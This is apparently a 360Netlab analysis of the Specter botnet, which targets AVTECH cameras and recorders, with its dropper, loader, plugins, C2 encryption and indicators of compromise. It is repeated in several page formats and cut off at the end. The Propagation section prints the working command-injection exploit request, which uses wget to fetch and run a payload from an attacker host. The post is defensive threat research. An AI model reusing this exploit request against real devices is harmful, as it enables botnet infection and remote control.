<p>c7bf33d159597f55dce31b33a58d52de</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>The main function of Shell plugin is to create SHELL service.</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG" class="kg-image"/></a></p>
<h4 id="fileplugin">File plugin</h4>
<blockquote>
<p>Plugin id: 2</p>
<p>e67db6449c18b2e552786df7718a33c8</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>The main function of the File plugin is file management. In addition to supporting read, write, delete, and search operations on file directories, it may also download/upload files from a designated server.</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG" class="kg-image"/></a></p>
<h4 id="socketplugin">Socket Plugin</h4>
<blockquote>
<p>Plugin id: 3</p>
<p>45c5e7bcb9987356b53fd9a78543dcda</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped</p>
</blockquote>
<p>The main function of Socket Plugin is to start Socket5 proxy.</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG" class="kg-image"/></a></p>
<h4 id="ssfplugin">SSF Plugin</h4>
<blockquote>
<p>Plugin id: 5</p>
<p>da0f9a21ae7ee3d15794946ca74a07e3</p>
<p>ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped</p>
</blockquote>
<p>The main function of SSF Plugin is to download an executable file from a specified server to a local <code>/tmp/runtimes/httpd_log_output</code> file, and then execute it.。</p>
<p><a href="__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG"><img src="__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG" class="kg-image"/></a></p>
<h2 id="suggestions">Suggestions</h2>
<p>We recommend that readers monitor and block Specter related IP, URL and samples.</p>
<h2 id="">联系我们</h2>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab"><strong>twitter</strong></a> , WeChat 360Netlab or email to netlab at 360 dot cn.</p>
<h2 id="ioc">IoC</h2>
<h4 id="cc">CC</h4>
<pre><code>107.182.186.195:443 ASN25820|IT7_Networks_Inc United_States|California|Los_Angeles
</code></pre>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>04c7ef9e4197985d31e5d601a9161c5e
052b6fce24a800259289e2f06163db57
065d942effb6010bb48f7403d3ad442b
0d0bf23412bd34c82ab28e67278519bf
2b89fd69d128c8a28425c512670e531a
2ed27722e095b1c870fdb10e4990db0f
42d341d0b76869abc2231c70d0f0ecc9
5e03c99153ed59546bf60c9f896a30f1
7377eedb6512743858d52da3cc028a33
7c59ddc06da158afc8b514a9a81ffd36
a5ded8b31b17c88302882cccc35cc28f
a8400c378950084fc8ab80b8bb4e5b18
a99563e6711990b9b3f542ae146bd01c
acfa5f547b69bde0bf3f343429594b99
b79639e2b5d10f92ea44721e155fc09b
b9ac3d23faba205f74ebd932d8e370d3
c2126977f9f482f290154ea21719330f
c33b585a0dfa5fdb70d27a17ace6ba1f
c51fc1656aa857bb7226e2df969aa72d
cc1b11c6ac6e5bebc4c0e7502b4e1fcd
cc27d6141f8c66e520122e8f2292a940
eda6d2b0837b5e78ae1b0b50f85e3321
</code></pre>
<h4 id="downloader">Downloader</h4>
<pre><code>http://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css
</code></pre>
<!--kg-card-end: markdown--> | Background
On August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF file (22523419f0404d628d02876e69458fbe.css)with 0 VT detection.
When we took a close look, we see a new botnet that targets AVTECH IP Camera / NVR / DVR devices, and it has flexible configuration, highly modular / plugin, and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.
The ELF we captured is Dropper, it releases a loader, and the loader will send encrypted traffic requests various Plugins from C2 to perform different functions. The sample build path is /build/arm-specter-linux-uclibcgnueabi, that is why we named it Specter.
At present, Specter has a lot of unprofessional aspects. For example, it releases two libraries required by runtime while releasing Loader, but they are all dynamically linked.We also noticed that Plugin does not expand and load directly in memory.The vulnerability being targeted is also quite old, a 5 years old on. On the other hand, this botnet has a good layered design, complex network communication and some other characteristics，which is obviously a work of professional. Professional aspects come with unprofessional aspects, this contradiction makes us speculate that Specter is in the test development stage. We will see how it goes in the future.
Overview
Specter is a remote control Trojan (RAT) for the Linux platform.
It consists of 3 parts, Dropper, Loader, and Plugin. The main function is determined by Loader&Plugin. The main functions of Specter are
*
File management
*
Download and upload management
*
Shell service
*
Socket5 Proxy
*
Report device information
*
Execute the script issued by C2
*
Executing C2 to deliver executable files
The basic process is shown in the figure below:
Propagation
Specter spread its Dropper samples throughAVTECH IP Camera / NVR / DVR Devices vulnerabilities,The payload being used is as follows:
GET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1
Host: {}:4443
Connection: keep-alive
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0
Accept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2
Content-Type: text/plain; charset=utf-8
Sample analysis
Specter's infection process can be divided into 4 stages.，
* Stage 0: Preliminary stage, spread through vulnerabilities, implant Dropper on the device
* Stage 1: Dropper releases Loader
* Stage 2: Loading stage, Loader loads Plugin
* Stage 3: Plugin executes the instructions issued by C2
Stage1：Stage1: Release stage, Specter_Dropper analysis
The main function of the dropper is to detect the operating environment, decrypt the Loader, configure the Config, and finally release and start the Loader.
MD5:a8400c378950084fc8ab80b8bb4e5b18
ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped
Packer:No
*
1.1 Decrypt Loader
Decryption algorithm:XOR byte by byte 0x79, then negate.
Along with the loaders, the runtime library, libc.so.0 and ld-uClibc.so.1 are also decrypted.Currently these two libraries have no malicious functions, but we speculate that future versions will hijack some functions of these two libraries to hide the existence of Specter from file, process and networks’ perspectives
*
1.2 Configure Config
Look for the written position mark in the Loader sample SpctCF, and then write Config at its subsequent address.。
The comparison is as follows:
*
1.3 Release and execute Loader
Release Loader to the/tmp/runtimes/hw_ex_watchdog file and run it, and later on delete itself to clean up the traces of Dropper。
Stage2: Loading stage, Specter_Loader analysis
The main function of Loader is to decrypt Config, obtain C2 from it, establish encrypted communication with C2, and execute the instructions issued by C2. If there is no Plugin for processing the corresponding instructions, it will request the required Plugin from C2.
MD5:470a092abd67e25463425b611088b1db
ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped
Packer:No
*
2.1 Decrypt Config
There are C2, mutex name, nonce and other information in the Config file, ChaCha20 encryption is used, where the key is CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\x00 and the number of rounds is 15.
The detailed Config structure is shown below:，
Take the Config in the above figure as an example, the nonce (12 bytes) required for decryption is:
c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70
The ciphertext is:
94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06
1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69
88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B
33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F
13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF
06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA
6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7
After decryption, we get the following plaintext, we can see that C2 is 107.182.186.195 and mutex is fb4mi5a
00000000 f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22 |ô6ÎW°FÒ.'.¦.þWâ"|
00000010 52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a |R4.ð@Mb...niE.¾j|
00000020 66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00 |fb4mi5a.........|
00000030 31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03 |107.182.186.195.|
00000040 00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00 |...443..........|
00000050 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 |................|
00000060 00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00 |........Z...<..|
*
2.2 Establish communication with C2
The communication process can be divided into 4 stages, using TLS, ChaCha20 encryption algorithm, lz4 compression algorithm to ensure the security of data communication.The first stage is to establish a TLS connection, the second stage is the process of mutual agreement authentication, the third stage is the Loader reporting device information, and the fourth stage executes the C2 issuing instruction process.
TLS communication
In order to analyze the network traffic, we performed a Man-in-the-middle attack,and can see the result as follows. It can be seen that Specter's network communication packet has a fixed format.
Packets can be divided into four parts, the detailed structure is shown below:，
Where Encrypted Payload_info stores the payload verification, length, ID and other info.[Encrypted?]Compressed Payload is the payload itself, the payload will only be compressed during the key exchange stage, while in all the other stages it gets both encrypted and compressed.
Let’s take a look at the above figure, the data packet that Bot sends to C2 for secret key exchange
The encryption algorithm used in the first part(ncrypted Payload_info) is:
ChaCha20
Key: 36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34
61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65
Nonce: E7 66 29 FB 10 98 F6 5A 80 80 FF 58
The ciphertext is:
0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9
after decryption:
C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00
3EC9 ---- CRC16 of Payload
0001 ---- Cmd Id
00000022 Compressed Payload length
00000020 Decomressed Payload length
The value of Cmd Id is 1, indicating that it is in the key exchange stage, directly decompress [Encrypted?]Compressed Payload and get the key sent by Bot to C2
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
Authentication
The protocol authentication process can be divided into two stages, the first stage is the key exchange, and the second stage is the mutual recognition of identity.
According to the data packet decryption process introduced above, we will get.
The secret key sent by Bot to C2 is:
01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10
11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20
The secret key sent by C2 to Bot is:
19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33
96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C
In the secret key exchange phase, the payload is only compressed without encryption; after the secret key is exchanged, Bot and C2 encrypt and compress the payload with each other's secret key.
It can be solved with the above secret key.
The authentication information sent by Bot to C2 is:
00000000: 44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39 DHn74sdPOqnSd259
The authentication information sent by C2 to Bot is:
00000000: 6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34 l0SO8hFUxbVsdtQ4
This is consistent with the implementation we saw in the sample:
*
2.3 Report device information, such as MAC/IP address, system type, etc.
*
2.4 Execute the start Plugin command issued by C2
Specter implements a very flexible plugin management communication mechanism, each plugin must implement the following 4 methods,
If there is no corresponding Plugin currently, a request is made to C2 and finally dynamically loaded into Loader Plugin Slot.
Stage3: Specter_Plugin analysis
When the bot gets the Plugin issued by C2, it cannot be used directly, because they are encrypted and can only be loaded into the Plugin Slot for use after decryption.
Decryption algorithm: XOR 0x7f byte by byte, then negate
Here are some plugins we captured:
Shell plugin
Plugin id: 1
c7bf33d159597f55dce31b33a58d52de
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped
The main function of Shell plugin is to create SHELL service.
File plugin
Plugin id: 2
e67db6449c18b2e552786df7718a33c8
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped
The main function of the File plugin is file management. In addition to supporting read, write, delete, and search operations on file directories, it may also download/upload files from a designated server.
Socket Plugin
Plugin id: 3
45c5e7bcb9987356b53fd9a78543dcda
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped
The main function of Socket Plugin is to start Socket5 proxy.
SSF Plugin
Plugin id: 5
da0f9a21ae7ee3d15794946ca74a07e3
ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped
The main function of SSF Plugin is to download an executable file from a specified server to a local /tmp/runtimes/httpd_log_output file, and then execute it.。
Suggestions
We recommend that readers monitor and block Specter related IP, URL and samples.
联系我们
Readers are always welcomed to reach us on twitter , WeChat 360Netlab or email to netlab at 360 dot cn.
IoC
CC
107.182.186.195:443 ASN25820|IT7_Networks_Inc United_States|California|Los_Angeles
Sample MD5
04c7ef9e4197985d31e5d601a9161c5e
052b6fce24a800259289e2f06163db57
065d942effb6010bb48f7403d3ad442b
0d0bf23412bd34c82ab28e67278519bf
2b89fd69d128c8a28425c512670e531a
2ed27722e095b1c870fdb10e4990db0f
42d341d0b76869abc2231c70d0f0ecc9
5e03c99153ed59546bf60c9f896a30f1
7377eedb6512743858d52da3cc028a33
7c59ddc06da158afc8b514a9a81ffd36
a5ded8b31b17c88302882cccc35cc28f
a8400c378950084fc8ab80b8bb4e5b18
a99563e6711990b9b3f542ae146bd01c
acfa5f547b69bde0bf3f343429594b99
b79639e2b5d10f92ea44721e155fc09b
b9ac3d23faba205f74ebd932d8e370d3
c2126977f9f482f290154ea21719330f
c33b585a0dfa5fdb70d27a17ace6ba1f
c51fc1656aa857bb7226e2df969aa72d
cc1b11c6ac6e5bebc4c0e7502b4e1fcd
cc27d6141f8c66e520122e8f2292a940
eda6d2b0837b5e78ae1b0b50f85e3321
Downloader
http://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"## Background\n\nOn August 20, 2020, 360Netlab Threat Detect System captured a suspicious ELF file (`22523419f0404d628d02876e69458fbe.css`)with 0 VT detection. \n\nWhen we took a close look, we see a new botnet that targets `AVTECH IP Camera / NVR / DVR devices`, and it has flexible configuration, highly modular / plugin, and uses TLS, ChaCha20, Lz4 to encrypt and compress network traffic.\n\n The ELF we captured is Dropper, it releases a loader, and the loader will send encrypted traffic requests various Plugins from C2 to perform different functions. The sample build path is `/build/arm-specter-linux-uclibcgnueabi`, that is why we named it Specter.\n\nAt present, Specter has a lot of ```unprofessional aspects```. For example, it releases two libraries required by runtime while releasing Loader, but they are all dynamically linked.We also noticed that Plugin does not expand and load directly in memory.[The vulnerability being targeted is also quite old, a 5 years old on](https://www.exploit-db.com/exploits/40500). On the other hand, this botnet has a good layered design, complex network communication and some other characteristics，which is obviously a work of professional. ```Professional aspects come with unprofessional aspects```, this contradiction makes us speculate that Specter is in the test development stage. We will see how it goes in the future. \n\n## Overview\nSpecter is a remote control Trojan (RAT) for the Linux platform.\n\nIt consists of 3 parts, Dropper, Loader, and Plugin. The main function is determined by Loader&Plugin. The main functions of Specter are\n\n- File management\n\n- Download and upload management\n\n- Shell service\n\n- Socket5 Proxy\n\n- Report device information\n\n- Execute the script issued by C2\n\n- Executing C2 to deliver executable files\n\n The basic process is shown in the figure below:\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_flow.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_flow.PNG\" class=\"kg-image\"/></a>\n \n## Propagation\nSpecter spread its Dropper samples through[AVTECH IP Camera / NVR / DVR Devices vulnerabilities](https://www.exploit-db.com/exploits/40500),The payload being used is as follows:\n```\nGET /cgi-bin/nobody/Search.cgi?action=cgi_query&ip=google.com&port=80&queryb64str=Lw==&username=admin%20;XmlAp%20r%20Account.User1.Username%3E$(wget%20http://45.76.70.163:80/style/351f37b2764041759c859202c529aefc.css%20-O%20/tmp/webstatus;chmod%20755%20/tmp/webstatus;/tmp/webstatus;rm%20-f%20/tmp/webstatus;)&password=admin HTTP/1.1\nHost: {}:4443\nConnection: keep-alive\nAccept-Encoding: gzip, deflate\nAccept: */*\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0\nAccept-Language: en-US,en;q=0.8,zh-CN;q=0.7,zh;q=0.5,zh-TW;q=0.3,zh-HK;q=0.2\nContent-Type: text/plain; charset=utf-8\n```\n## Sample analysis\n\nSpecter's infection process can be divided into 4 stages.，\n\n- Stage 0: Preliminary stage, spread through vulnerabilities, implant Dropper on the device\n- Stage 1: Dropper releases Loader\n- Stage 2: Loading stage, Loader loads Plugin\n- Stage 3: Plugin executes the instructions issued by C2\n\n\n### Stage1：Stage1: Release stage, Specter_Dropper analysis\n\n\nThe main function of the dropper is to detect the operating environment, decrypt the Loader, configure the Config, and finally release and start the Loader.\n\n> MD5:a8400c378950084fc8ab80b8bb4e5b18\n>\n> ELF 32-bit LSB executable, ARM, version 1 (SYSV), statically linked, stripped\n>\n> Packer:No\n\n\n\n- #### 1.1 Decrypt Loader\nDecryption algorithm:XOR byte by byte `0x79`, then negate.\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_decode.PNG\" class=\"kg-image\"/></a>\n\nAlong with the loaders, the runtime library, ```libc.so.0 and ld-uClibc.so.1``` are also decrypted.Currently these two libraries have no malicious functions, but we speculate that future versions will hijack some functions of these two libraries to hide the existence of Specter from file, process and networks’ perspectives\n\n\n- #### 1.2 Configure Config\nLook for the written position mark in the Loader sample `SpctCF`, and then write Config at its subsequent address.。\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_setconf.PNG\" class=\"kg-image\"/></a>\n\n The comparison is as follows:\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_conf.PNG\" class=\"kg-image\"/></a>\n\n- #### 1.3 Release and execute Loader\nRelease Loader to the`/tmp/runtimes/hw_ex_watchdog` file and run it, and later on delete itself to clean up the traces of Dropper。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_drop_run.PNG\" class=\"kg-image\"/></a>\n\n### Stage2: Loading stage, Specter_Loader analysis\nThe main function of Loader is to decrypt Config, obtain C2 from it, establish encrypted communication with C2, and execute the instructions issued by C2. If there is no Plugin for processing the corresponding instructions, it will request the required Plugin from C2.\n\n> MD5:470a092abd67e25463425b611088b1db\n>\n> ELF 32-bit LSB executable, ARM, version 1 (SYSV), dynamically linked (uses shared libs), stripped \n>\n> Packer:No\n\n\n\n- #### 2.1 Decrypt Config\nThere are C2, mutex name, nonce and other information in the Config file, ChaCha20 encryption is used, where the key is `CsFg34HbrJsAx6hjBmxDd7A2Wj0Cz9s\\x00` and the number of rounds is `15`.\n\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_decode.PNG\" class=\"kg-image\"/></a>\n\n The detailed Config structure is shown below:，\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_config.PNG\" class=\"kg-image\"/></a>\n\n Take the Config in the above figure as an example, the nonce (12 bytes) required for decryption is:\n\n ```\n c1 f5 9e 20 7a 35 9d 25 ed 77 bb 70\n ```\n\n The ciphertext is:\n\n ```\n 94 69 CA D5 A0 0F 73 A9 BB 05 71 B2 31 1D EF 06 \n 1A 2A BC 94 3A A7 4B 72 3A 0C BC 8E BF 57 1E 69 \n 88 1B A1 7D FB 79 6C 26 A9 95 EB B1 E9 53 A9 2B \n 33 3D A7 F6 D2 07 E4 64 FD 70 81 C2 83 C2 A1 5F \n 13 EB 3F 9C 6F CD 03 50 84 C5 5C 9C 31 B1 9F CF \n 06 4B 5F 12 E9 C3 39 C3 EE 07 C5 CE E2 C2 58 FA\n 6C AA 6D 9B 00 C2 37 3E C2 98 52 47 D4 4D E7\n ```\n After decryption, we get the following plaintext, we can see that C2 is `107.182.186.195` and mutex is `fb4mi5a`\n\n ```\n 00000000 f4 36 ce 57 b0 46 d2 96 27 1c a6 88 fe 57 e2 22 |ô6ÎW°FÒ.'.¦.þWâ\"|\n 00000010 52 34 19 f0 40 4d 62 8d 02 87 6e 69 45 8f be 6a |R4.ð@Mb...niE.¾j|\n 00000020 66 62 34 6d 69 35 61 00 01 00 00 00 0f 00 00 00 |fb4mi5a.........|\n 00000030 31 30 37 2e 31 38 32 2e 31 38 36 2e 31 39 35 03 |107.182.186.195.|\n 00000040 00 00 00 34 34 33 01 00 00 00 01 00 00 00 01 00 |...443..........|\n 00000050 00 00 01 00 00 00 01 00 00 00 01 00 00 00 01 00 |................|\n 00000060 00 00 01 00 00 00 1e 00 5a 00 14 00 3c 00 00 |........Z...<..|\n ```\n\n- #### 2.2 Establish communication with C2\nThe communication process can be divided into 4 stages, using TLS, ChaCha20 encryption algorithm, lz4 compression algorithm to ensure the security of data communication.The first stage is to establish a TLS connection, the second stage is the process of mutual agreement authentication, the third stage is the Loader reporting device information, and the fourth stage executes the C2 issuing instruction process.\n\n ###### TLS communication\n\n<a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_ssl.PNG\" class=\"kg-image\"/></a>\n\n In order to analyze the network traffic, we performed a Man-in-the-middle attack,and can see the result as follows. It can be seen that Specter's network communication packet has a fixed format.\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_commhijack.PNG\" class=\"kg-image\"/></a>\n\n Packets can be divided into four parts, the detailed structure is shown below:，\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_packet_info.PNG\" class=\"kg-image\"/></a>\n \n Where `Encrypted Payload_info` stores the payload verification, length, ID and other info.`[Encrypted?]Compressed Payload` is the payload itself, the payload will only be compressed during the key exchange stage, while in all the other stages it gets both encrypted and compressed.\n\n\n\n \n Let’s take a look at the above figure, the data packet that Bot sends to C2 for secret key exchange\n\n The encryption algorithm used in the first part(`ncrypted Payload_info`) is:\n\n ```\n ChaCha20\n Key:\t\t36 30 30 64 65 33 31 39 61 32 66 38 31 39 62 34 \n \t\t\t61 38 35 31 64 32 33 66 63 34 62 33 33 33 33 65\n Nonce:\t\tE7 66 29 FB 10 98 F6 5A 80 80 FF 58\t\n ```\n\n The ciphertext is:\n\n ```\n 0F 41 01 FD 8B 75 6C A2 20 31 DC 35 70 D9 4D 3B 8E 53 4D E9\n ```\n\n after decryption:\n\n ```\n C9 3E 00 00 00 00 00 00 00 00 01 00 22 00 00 00 20 00 00 00\n \n 3EC9\t\t---- CRC16 of Payload\n 0001\t\t---- Cmd Id\n 00000022\tCompressed Payload length\n 00000020\tDecomressed Payload length\n ```\n\nThe value of `Cmd Id` is 1, indicating that it is in the key exchange stage, directly decompress `[Encrypted?]Compressed Payload` and get the key sent by Bot to C2\n\n ```\n 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10\n 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20\n ```\n\n \n\n ###### Authentication\n\n The protocol authentication process can be divided into two stages, the first stage is the key exchange, and the second stage is the mutual recognition of identity.\n\n\n<a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_commfst.PNG\" class=\"kg-image\"/></a>\n\n\n\n According to the data packet decryption process introduced above, we will get.\n\n The secret key sent by Bot to C2 is:\n\n ```\n 01 02 03 04 05 06 07 08 09 0A 0B 0C 0D 0E 0F 10\n 11 12 13 14 15 16 17 18 19 1A 1B 1C 1D 1E 1F 20\n ```\n\n The secret key sent by C2 to Bot is:\n\n ```\n 19 F8 7C 62 7B 8D A2 B3 59 FD AE 25 4C 18 F7 33\n 96 B5 D9 F5 EC FF C2 07 C3 7C 87 53 AE 60 99 2C\n ```\n\n In the secret key exchange phase, the payload is only compressed without encryption; after the secret key is exchanged, Bot and C2 encrypt and compress the payload with each other's secret key.\n \n It can be solved with the above secret key.\n\n The authentication information sent by Bot to C2 is:\n\n ```\n 00000000: 44 48 6E 37-34 73 64 50-4F 71 6E 53-64 32 35 39 DHn74sdPOqnSd259\n ```\n\n The authentication information sent by C2 to Bot is:\n\n ```\n 00000000: 6C 30 53 4F-38 68 46 55-78 62 56 73-64 74 51 34 l0SO8hFUxbVsdtQ4\n ```\n\n This is consistent with the implementation we saw in the sample:\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_packet_proof.PNG\" class=\"kg-image\"/></a>\n\n\n\n - #### 2.3 Report device information, such as MAC/IP address, system type, etc.\n\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_device.PNG\" class=\"kg-image\"/></a>\n\n - #### 2.4 Execute the start Plugin command issued by C2\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_cmd.PNG\" class=\"kg-image\"/></a>\n \nSpecter implements a very flexible plugin management communication mechanism, each plugin must implement the following 4 methods,\n\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_loader_syscall.PNG\" class=\"kg-image\"/></a>\n If there is no corresponding Plugin currently, a request is made to C2 and finally dynamically loaded into Loader `Plugin Slot`.\n\n### Stage3: Specter_Plugin analysis\n\n\n\nWhen the bot gets the Plugin issued by C2, it cannot be used directly, because they are encrypted and can only be loaded into the Plugin Slot for use after decryption.\nDecryption algorithm: XOR `0x7f` byte by byte, then negate\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_decode.PNG\" class=\"kg-image\"/></a>\n\nHere are some plugins we captured:\n#### Shell plugin\n\n> Plugin id: 1\n>\n> c7bf33d159597f55dce31b33a58d52de\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped\n\nThe main function of Shell plugin is to create SHELL service.\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_shell.PNG\" class=\"kg-image\"/></a>\n\n#### File plugin\n\n> Plugin id: 2\n>\n> e67db6449c18b2e552786df7718a33c8\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped \n\nThe main function of the File plugin is file management. In addition to supporting read, write, delete, and search operations on file directories, it may also download/upload files from a designated server.\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_file.PNG\" class=\"kg-image\"/></a>\n\n#### Socket Plugin\n\n> Plugin id: 3\n>\n> 45c5e7bcb9987356b53fd9a78543dcda\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), not stripped\n\nThe main function of Socket Plugin is to start Socket5 proxy.\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_socket.PNG\" class=\"kg-image\"/></a>\n\n\n\n#### SSF Plugin\n\n> Plugin id: 5\n>\n> da0f9a21ae7ee3d15794946ca74a07e3\n>\n> ELF 32-bit LSB shared object, ARM, version 1 (SYSV), stripped\n\nThe main function of SSF Plugin is to download an executable file from a specified server to a local `/tmp/runtimes/httpd_log_output` file, and then execute it.。\n\n <a href=\"__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG\"><img src=\"__GHOST_URL__/content/images/2020/09/specter_plugin_ssf.PNG\" class=\"kg-image\"/></a>\n\n## Suggestions\n\nWe recommend that readers monitor and block Specter related IP, URL and samples.\n\n## 联系我们\n\nReaders are always welcomed to reach us on [**twitter**](https://twitter.com/360Netlab) , WeChat 360Netlab or email to netlab at 360 dot cn.\n\n## IoC\n\n#### CC\n```\n107.182.186.195:443\tASN25820|IT7_Networks_Inc\tUnited_States|California|Los_Angeles\n```\n\n#### Sample 